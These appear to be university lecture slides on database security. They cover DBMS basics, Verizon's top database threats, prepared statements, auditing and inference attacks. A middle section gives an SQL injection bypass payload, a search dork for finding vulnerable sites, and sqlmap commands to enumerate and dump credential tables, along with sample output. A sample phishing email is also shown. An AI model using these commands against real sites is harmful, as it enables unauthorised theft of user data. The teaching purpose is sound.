Cyber Security
Database Security
Dr Chris Willcocks
Database Recap

- **Database:**
  - An organised collection of data.

- **Relational database:**
  - Collection of schemas, tables, queries, reports, views, and other elements.

- **DBMS:**
  - MySQL, PostgreSQL, MongoDB, Oracle, ...

- **Database Administrator:**
  - Defines the rules that organize the data and controls access.

- **NoSQL:**
  - Sometimes “non-relational”, or “not only SQL”.

![Database Diagram](image-url)
**DBMS roles:**
- Concurrency
- Security
- Data Integrity
- Administration procedures
  - Change management
  - Performance monitoring/tuning
  - Backup & Recovery
- Automated rollbacks, restarts and recovery
- Logging/auditing of activity

**DBMS consists of:**

1. The data
2. The engine
   - Allows data to be:
     i. Locked
     ii. Accessed
     iii. Modified
3. The schema
   - Defines the database's logical structure
## Popular DBMS

Not examined

- **Top databases (November 2018)**
- Still dominated by relational DBMS
- But it’s not all about SQL injection any more...

<table>
<thead>
<tr>
<th>Rank</th>
<th>DBMS</th>
<th>Database Model</th>
<th>Score Nov</th>
<th>Score Oct</th>
<th>Score Nov</th>
</tr>
</thead>
<tbody>
<tr>
<td>1.</td>
<td><strong>Oracle +</strong></td>
<td>Relational, Multi-model</td>
<td>1336.07</td>
<td>-19.81</td>
<td>+34.96</td>
</tr>
<tr>
<td>2.</td>
<td><strong>MySQL +</strong></td>
<td>Relational, Multi-model</td>
<td>1266.28</td>
<td>-16.78</td>
<td>+106.39</td>
</tr>
<tr>
<td>3.</td>
<td><strong>Microsoft SQL Server +</strong></td>
<td>Relational, Multi-model</td>
<td>1081.91</td>
<td>-12.81</td>
<td>+30.36</td>
</tr>
<tr>
<td>4.</td>
<td><strong>PostgreSQL +</strong></td>
<td>Relational, Multi-model</td>
<td>491.07</td>
<td>+7.16</td>
<td>+50.83</td>
</tr>
<tr>
<td>5.</td>
<td><strong>MongoDB +</strong></td>
<td>Document, Multi-model</td>
<td>413.18</td>
<td>+1.09</td>
<td>+43.70</td>
</tr>
<tr>
<td>6.</td>
<td><strong>IBM Db2 +</strong></td>
<td>Relational, Multi-model</td>
<td>172.60</td>
<td>+1.83</td>
<td>-7.27</td>
</tr>
<tr>
<td>7.</td>
<td><strong>Elasticsearch +</strong></td>
<td>Search engine, Multi-model</td>
<td>148.40</td>
<td>-1.77</td>
<td>+4.94</td>
</tr>
<tr>
<td>8.</td>
<td><strong>Redis +</strong></td>
<td>Key-value, Multi-model</td>
<td>145.24</td>
<td>+2.32</td>
<td>+1.06</td>
</tr>
<tr>
<td>9.</td>
<td><strong>Microsoft Access</strong></td>
<td>Relational</td>
<td>130.07</td>
<td>-1.10</td>
<td>-8.36</td>
</tr>
<tr>
<td>10.</td>
<td><strong>Cassandra +</strong></td>
<td>Wide column</td>
<td>123.23</td>
<td>+0.01</td>
<td>+1.48</td>
</tr>
</tbody>
</table>

*Not examined*
Database Application Types

Not examined

GCP Guidelines

AWS Guidelines

A managed relational database in the cloud that you can launch in minutes with a just a few clicks.
Consider Using
Product Type
Amazon RDS
Relational Database

A fully managed MySQL and PostgreSQL-compatible relational database with 5X performance and enterprise level features.
Amazon Aurora
Relational Database

A managed NoSQL database that offers extremely fast performance, seamless scalability and reliability.
Amazon DynamoDB
NoSQL Database

A fast, fully managed, petabyte-scale data warehouse at less than a tenth the cost of traditional solutions.
Amazon Redshift
Data Warehouse

To deploy, operate, and scale in-memory cache based on memcached or Redis in the cloud.
Amazon ElastiCache
In-Memory Cache

Help migrating your databases to AWS easily and inexpensively with minimal downtime.
AWS Database Migration Service
Database Migration

To build flexible cloud-native directories for organizing hierarchies of data along multiple dimensions.
Amazon Cloud Directory
Directory
Table: Users

<table>
<thead>
<tr>
<th>ID</th>
<th>Name</th>
<th>Email</th>
<th>City</th>
<th>Lat_N</th>
<th>Bitcoins</th>
</tr>
</thead>
<tbody>
<tr>
<td>1001</td>
<td>Jess</td>
<td><a href="mailto:jess@dur.ac.uk">jess@dur.ac.uk</a></td>
<td>Exeter</td>
<td>40</td>
<td>10</td>
</tr>
<tr>
<td>1002</td>
<td>Chris</td>
<td><a href="mailto:chris@dur.ac.uk">chris@dur.ac.uk</a></td>
<td>Durham</td>
<td>33</td>
<td>7</td>
</tr>
<tr>
<td>1003</td>
<td>Greg</td>
<td><a href="mailto:greg@dur.ac.uk">greg@dur.ac.uk</a></td>
<td>Toulouse</td>
<td>47</td>
<td>0.001</td>
</tr>
<tr>
<td>1004</td>
<td>Anna</td>
<td><a href="mailto:anna@dur.ac.uk">anna@dur.ac.uk</a></td>
<td>Durham</td>
<td>21</td>
<td>0.2</td>
</tr>
</tbody>
</table>

SELECT Name FROM Users WHERE City = Durham;
GRANT SELECT ON ANY TABLE TO Chris
SELECT * FROM Users WHERE Lat_N > 39.7;
SELECT ID, Name, City FROM Users ORDER BY Lat_N;
UPDATE Users SET Bitcoins = Bitcoins + 0.001;
NoSQL Databases

```python
>>> from pymongo import MongoClient
>>> uri = "mongodb://user:password@example.com/the_database?authMechanism=SCRAM-SHA-1"
>>> client = MongoClient(uri)
>>> db = client['test-database']
>>> collection = db['test-collection']
>>> import datetime
>>> post = {
    "author": "John",
    "text": "My first blog post!",
    "tags": ["python", "pymongo", "monty"],
    "date": datetime.datetime.utcnow()
}

Created lazily - none of the commands have actually performed any operations on the server until the first document is inserted into them:

```python
>>> posts = db.posts
>>> post_id = posts.insert_one(post).inserted_id
>>> post_id
ObjectId('...')
```
Database Security Overview

- Vulnerabilities not necessarily proportional to popularity

5 year vulnerability trend

Industry-wide database vulnerabilities

Source: Qualys, Inc.
Database Security Overview

1. Primary concepts
   - **Authentication** - who are you?
   - **Authorization** - what are you allowed to do?
   - **Encryption** - protecting the data
   - **Auditing** - what did you do?

2. Other important concepts
   - **Redaction** - disguise sensitive data on returned results
   - **Masking** - creating similar but inauthentic version of the data for training/testing
   - **Firewall** - threat patterns, approved whitelisted commands, blacklist (harmful) commands, monitor for data leakage, evaluate IP address/time/location
   - **Integrity** - data should be accurate and tolerant to physical problems (hardware failure, power failures)

Source: Oracle
Database Security Background

- Vast majority of records breached are from database leaks
  - Not surprising that hackers are going after databases
    - They contain transactional information, financial details, emails, ...
- Relatively small portion of security budget is spent on data center security. Even in the modern day lots of “new” tutorials are bad.
1. Excessive and Unused Privileges
2. Privilege Abuse
3. SQL injection
4. Malware
5. Weak audit trail
6. Storage media exposure
7. Exploitation of vulnerabilities and misconfigured databases
8. Unmanaged sensitive data
9. DoS
10. Limited security expertise and education

Rankings & Source: Verizon.
#1 Excessive and Unused Privileges

- Privilege control mechanisms for job roles have often not been well defined or maintained.
- People join the company, leave the company, change roles, their privileges often grow and aren't scaled back to be inline with their job requirements.
- Probably the greatest chance of impact in organisations.
#2 Privilege Abuse

- People who have legitimate use of data, but choose to abuse it.
  - e.g. people doing things to the neighbors or friends
- Employees often feel entitled to take data with them
  - They feel they were a part of creating this data, therefore they will take it with them.
  - Lots of high-profile cases
    - Celebrities
    - Political figures
#3 SQL Injection

- Inserting or injecting unauthorised malicious database statements somewhere in the application or database that gets executed by the database itself.
  - Making critical data available to be viewed, copied or changed.
- Typing structure query language commands to the database
- In many times the database opens up and spits out its contents
- “... one SQL injection attack can bring in big bucks. It’s a no-brainer that you should make this problem a top priority”
SQL Injection & Prepared Statements

- Prepared statements are a good defense against SQL injection.
- Original, insecure code:

```java
email = request.getParameter("email")
password = request.getParameter("password")

sql = "SELECT * FROM users WHERE (email =" + email +"') AND password =" + password + ")"
     "SELECT * FROM users WHERE (email ='chris@dur.ac.uk' AND password=' OR 1=1 --")"

result = statement.executeQuery(sql)
```

example exploit
Prepared Statements (parameterized queries)

• Becomes:

```java
email = request.getParameter("email")
password = request.getParameter("password")

// sql = "select * from users where (email ="" + email +"" and password ="" + password + ")";
sql = "select * from users where email = ? and password = ? ";

result = statement.executeQuery(sql, [email, password])
```

parameterizes the SQL statement with the email and password data (doesn't mix code and data)
Hacking with sqlmap

- Full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB and Informix database management systems.

```
inurl: ".php?id="
```

Try to get lots of databases

```
sqlmap -u http://site.php?id=173 --dbs
```

Get list of tables

```
sqlmap -u http://site.php?id=173 -D <database> --tables
```

Get list of columns

```
```

```
sqlmap -u http://site.php?id=173 -D <database> -T <table> -C users, passwords, emails, ... --dump
```

Dump the data (can select multiple columns)
Hacking with sqlmap

1. Input url (-u)
2. Get databases --dbs

Databases
Hacking with sqlmap

3. Get tables and columns (--tables, --columns)

```
[19:38:32] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.0
[19:38:32] [INFO] fetching database names
[19:38:32] [INFO] fetching tables for databases: 'information_schema, bscantest'
Database: bscantest
[4 tables]
  +-------------------+--
  | accounts           |
  | inventory          |
  | orders             |
  | products           |
  +-------------------+--

Database: information_schema
[49 tables]
  +---------------------------------+--
  | CHARACTER_SETS                   |
  | COLLATIONS                       |
  | COLLATION_CHARACTER_SET_APPLICABILITY |
  | COLUMNS                          |
  | COLUMN_PRIVILEGES                |
  | INNODB_TRX                       |
  | KEY_COLUMN_USAGE                 |
  | PARAMETERS                       |
  | PARTITIONS                       |
  | PLUGINS                          |
  | PROCESSLIST                      |
  | PROFILING                        |
  | REFERENTIAL_CONSTRAINTS          |
  | ROUTINES                         |
  +---------------------------------+--

[19:43:88] [INFO] fetching current database
[19:43:88] [INFO] fetching columns for table 'accounts' in database bscantest
Database: bscantest
Table: accounts
[5 columns]
  +---------+--------+
  | Column  | Type   |
  +---------+--------+
  | fname   | varchar(50) |
  | id      | int(50)    |
  | lname   | varchar(150) |
  | password| varchar(150) |
  | uname   | varchar(50)   |
  +---------+--------+

[19:43:88] [INFO] fetched data logged to text files under '/home/chris/sqlmap/output/www.bscantest.com'
```

[19:43:08] shutting down at 19:43:08
chris@chris-lab ~$ master
4. Dump the data
   (--dump)

5. Crack password hashes
Other fun options

Not examined

Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts

-p TESTPARAMETER Testable parameter(s)
-dbname=DBMS Force back-end DBMS to this value

Detection:
These options can be used to customize the detection phase

--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (1-3, default 1)

Techniques:
These options can be used to tweak testing of specific SQL injection
techniques

--technique=TECH SQL injection techniques to use (default "BEUSTQ")

Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables. Moreover you can run your own SQL statements

-n --ALL Retrieve everything
-h --Banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--passwords Enumerate DBMS users password hashes
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases (tables entries
-t DB Dump DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
-C COL DBMS database table column(s) to enumerate

Operating system access:
These options can be used to access the back-end database management
system underlying operating system

-os-shell Prompt for an interactive operating system shell
-os-pwn Prompt for an ODB shell, Metaproteor or VNC

General:
These options can be used to set some general working parameters

--batch Never ask for user input, use the default behaviour
--flush-session Flush session files for current target
Miscellaneous:
--sqlmap-shell Prompt for an interactive sqlmap shell
-wizard Simple wizard interface for beginner users
chris@chris-lab
#4 Malware

- We've said that the vast majority of breaches are with databases
  a. But most breaches involve malware.
- Organisations are quickly compromised and then their data goes out the door within minutes or hours.
- It takes **weeks to months** to discover this has happened.
- It takes **weeks to months** to contain and remediate the problem.
- Common strategy:
  a. Spear phishing (emails)
  b. Malware
  c. Credentials stolen
  d. Data being stolen

---

Hello CPA,

I need a careful and experienced high quality accountant, to handle all matters of accounting including tax preparation, IRS problem resolution, and matters expected of a CPAs to handle for Individual and Small Business.

Find attached is my tax documents. Please advise

Regards.
#5 Weak Audit trail

- We get a much clearer picture of what's going on with more detail and resolution.
- Most organisations don't record all the details that you need to deal with the aftermath of these situations.
- Hard to trace back to individual users.
Things you may wish to audit

Not examined

- Auditing
  - Undocumented create, drop, alter, grant, deny, revoke (events should be investigated)
  - Select, insert, update, delete, merge, lock table (useful for deep non-daily analysis)
  - Access history (check for users accessing data they shouldn’t have)
  - Permission changes
  - Unauthorized access
    - Failed login attempts by non-existent users or wrong passwords
  - Failed & successful login attempts

- Performance monitoring
  - DoS, alerts, automated response rules

- Version control
### Auditing Example

Not examined

---

**Source:** ApexSQL

---

#### SQL Server Data Collector - Controls

<table>
<thead>
<tr>
<th>Date</th>
<th>Server</th>
<th>Database</th>
<th>Login</th>
<th>Application</th>
<th>Client host</th>
<th>Schema</th>
<th>Object</th>
<th>Operation</th>
<th>State</th>
</tr>
</thead>
<tbody>
<tr>
<td>05/27/2015 03:50:59 PM</td>
<td>MLCU@SQLPOC2014</td>
<td>AdventureWorks2014</td>
<td>NT SERVICE\SQLAgent\SQLPOC2014</td>
<td>SQL Server Data Collector - Controls</td>
<td>MLCUCA</td>
<td>sqclid404_cnname</td>
<td>Exec</td>
<td>N/A</td>
<td></td>
</tr>
<tr>
<td>05/27/2015 03:50:59 PM</td>
<td>MLCU@SQLPOC2014</td>
<td>AdventureWorks2014</td>
<td>NT SERVICE\SQLAgent\SQLPOC2014</td>
<td>SQL Server Data Collector - Controls</td>
<td>MLCUCA</td>
<td>sqclid404_cnname</td>
<td>Exec</td>
<td>N/A</td>
<td></td>
</tr>
<tr>
<td>05/27/2015 03:50:59 PM</td>
<td>MLCU@SQLPOC2014</td>
<td>AdventureWorks2014</td>
<td>NT SERVICE\SQLAgent\SQLPOC2014</td>
<td>SQL Server Data Collector - Controls</td>
<td>MLCUCA</td>
<td>sqclid404_cnname</td>
<td>Delete</td>
<td>Success</td>
<td></td>
</tr>
<tr>
<td>05/27/2015 03:50:59 PM</td>
<td>MLCU@SQLPOC2014</td>
<td>AdventureWorks2014</td>
<td>NT SERVICE\SQLAgent\SQLPOC2014</td>
<td>SQL Server Data Collector - Controls</td>
<td>MLCUCA</td>
<td>sqclid404_cnname</td>
<td>Exec</td>
<td>N/A</td>
<td></td>
</tr>
<tr>
<td>05/27/2015 03:50:59 PM</td>
<td>MLCU@SQLPOC2014</td>
<td>AdventureWorks2014</td>
<td>NT SERVICE\SQLAgent\SQLPOC2014</td>
<td>SQL Server Data Collector - Controls</td>
<td>MLCUCA</td>
<td>sqclid404_cnname</td>
<td>Exec</td>
<td>N/A</td>
<td></td>
</tr>
<tr>
<td>05/27/2015 03:50:59 PM</td>
<td>MLCU@SQLPOC2014</td>
<td>AdventureWorks2014</td>
<td>NT SERVICE\SQLAgent\SQLPOC2014</td>
<td>SQL Server Data Collector - Controls</td>
<td>MLCUCA</td>
<td>sqclid404_cnname</td>
<td>Exec</td>
<td>N/A</td>
<td></td>
</tr>
<tr>
<td>05/27/2015 03:50:59 PM</td>
<td>MLCU@SQLPOC2014</td>
<td>AdventureWorks2014</td>
<td>NT SERVICE\SQLAgent\SQLPOC2014</td>
<td>SQL Server Data Collector - Controls</td>
<td>MLCUCA</td>
<td>sqclid404_cnname</td>
<td>Exec</td>
<td>N/A</td>
<td></td>
</tr>
</tbody>
</table>

---

**Source:** ApexSQL
#6 Storage media exposure

- After spear phishing and malware, it's often the database backups that are actually leaked in the end.
- Often something that's completely unprotected from an attack.
- Shows up in the details of a variety of security breaches.
  - Need to monitor and look at the media itself.
Oracle, Microsoft and IBM have big market share periodically patches and fixes.
  ○ Patches are rolled out and made available to their customers and wider community.

...But companies rarely have resources and/or abilities to immediately apply the patches to their systems.

28% of oracle users have never applied one of the database patches or don't know if their organization have done that. *

10% take a year or longer to apply a patch. *
  ○ Requirements for a stable business etc.

*Source: Verizon
#8 Unmanaged sensitive data

- You can easily end up with some of your sensitive data being used in testing environments, or R&D environments and not being managed properly.
  - Training
  - Use Data Masking

Source: Oracle
DoS & Limited Expertise

- DoS attacks can happen to databases.
- With databases:
  - Attackers overload server resources (memory usage, CPU)
  - Flooding database with queries that cause server to crash

Limited expertise & security training:

- Majority of organisations experienced staff related breaches when policies weren’t well understood.
  - The very people controlling the policies on devices either don’t understand the business aspects or technical aspects of the vulnerability.
- Small business (over half of them) don’t even have a position for educating their staff about security risks, e.g. a software engineer whose learnt about software security.
Obscure Queries

- Hide your real query in a more complex query
  - Harder for the system to identify the real query
- Example “Determine who has self-reported drug use”

```sql
SELECT * FROM Students WHERE (Sex="M" OR Sex="F") AND ((Sex="M" AND Drugs="1") OR (Sex="F" AND Drugs="1")) OR (Sex<>"M" AND Sex<>"F") OR College="Bogus"
```

- Simplifies to:

```sql
SELECT * FROM Students WHERE Drugs="1"
```
Inference Attacks

- Data mining technique:
  - Analyze data in order to illegitimately gain knowledge of subject or database.
  - Sensitive information can be leaked if hacker can infer real value with high confidence.
- Occur when somehow is allowed to execute queries that they’re authorized for, but by executing those queries they are able to gain access to information for which they are not authorized.

Recent paper:

Approach to database security

Good approach:

1. Discovery and assessment
   - You can't protect against problems if you don't know they exist.
   - Quickly identify sensitive data and assessing vulnerabilities/misconfigurations.

2. User rights management
   - Make sure you have thorough process to review and eliminate excessive user rights.

3. Monitoring and blocking
   - Have procedures in place to monitor activity and block attempted policy violations

4. Auditing (creating a trail)

5. Protecting the data
   - Storage encryption, tamper-proof audit trail

6. Non-technical security
   - Raise awareness and cultivate experienced security professionals

Approach Source: Imperva